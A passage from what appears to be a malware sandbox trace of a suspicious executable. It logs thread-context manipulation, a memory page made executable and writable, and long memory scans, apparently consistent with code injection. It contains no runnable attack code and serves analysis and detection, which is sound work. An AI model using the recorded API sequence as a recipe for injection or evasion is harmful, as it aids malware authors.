SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0210.521] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x3055004 | out: Context=0x3055004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0210.526] NtResumeThread (in: ThreadHandle=0x250, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0210.618] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 2 os_tid = 0x704 Thread: id = 3 os_tid = 0x134c Process: id = "2" image_name = "xeuovifzzc.exe" filename = "c:\\users\\fd1hvy\\desktop\\xeuovifzzc.exe" page_root = "0x34235000" os_pid = "0x12c0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x10c8" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 4 os_tid = 0x13b4 [0210.882] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x562cc2*=0x7ffcea381000, NumberOfBytesToProtect=0x562cba, NewAccessProtection=0x40, OldAccessProtection=0x562cb2 | out: BaseAddress=0x562cc2*=0x7ffcea381000, NumberOfBytesToProtect=0x562cba, OldAccessProtection=0x562cb2*=0x20) returned 0x0 [0210.983] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0210.983] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.983] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x11000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x11000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xf000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.983] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x12000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x12000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.984] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x13000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x13000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xd000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.984] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x14000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x14000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xc000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.984] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x15000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x15000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xb000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.984] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x16000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x16000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xa000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.984] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x17000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x17000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x9000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.984] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x18000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x18000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x8000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.984] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x19000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x19000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x7000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.984] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x1a000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x6000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.984] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x1b000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.984] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x1c000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.985] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x1d000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.985] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x1e000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.985] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x1f000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.985] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x20000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x20000, AllocationBase=0x20000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.985] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x21000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x21000, AllocationBase=0x20000, AllocationProtect=0x4, RegionSize=0x3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.985] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x22000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x22000, AllocationBase=0x20000, AllocationProtect=0x4, RegionSize=0x2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.985] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x23000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x23000, AllocationBase=0x20000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.985] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x24000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x24000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xc000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.985] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x25000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x25000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.985] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x26000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x26000, AllocationBase=0x0, 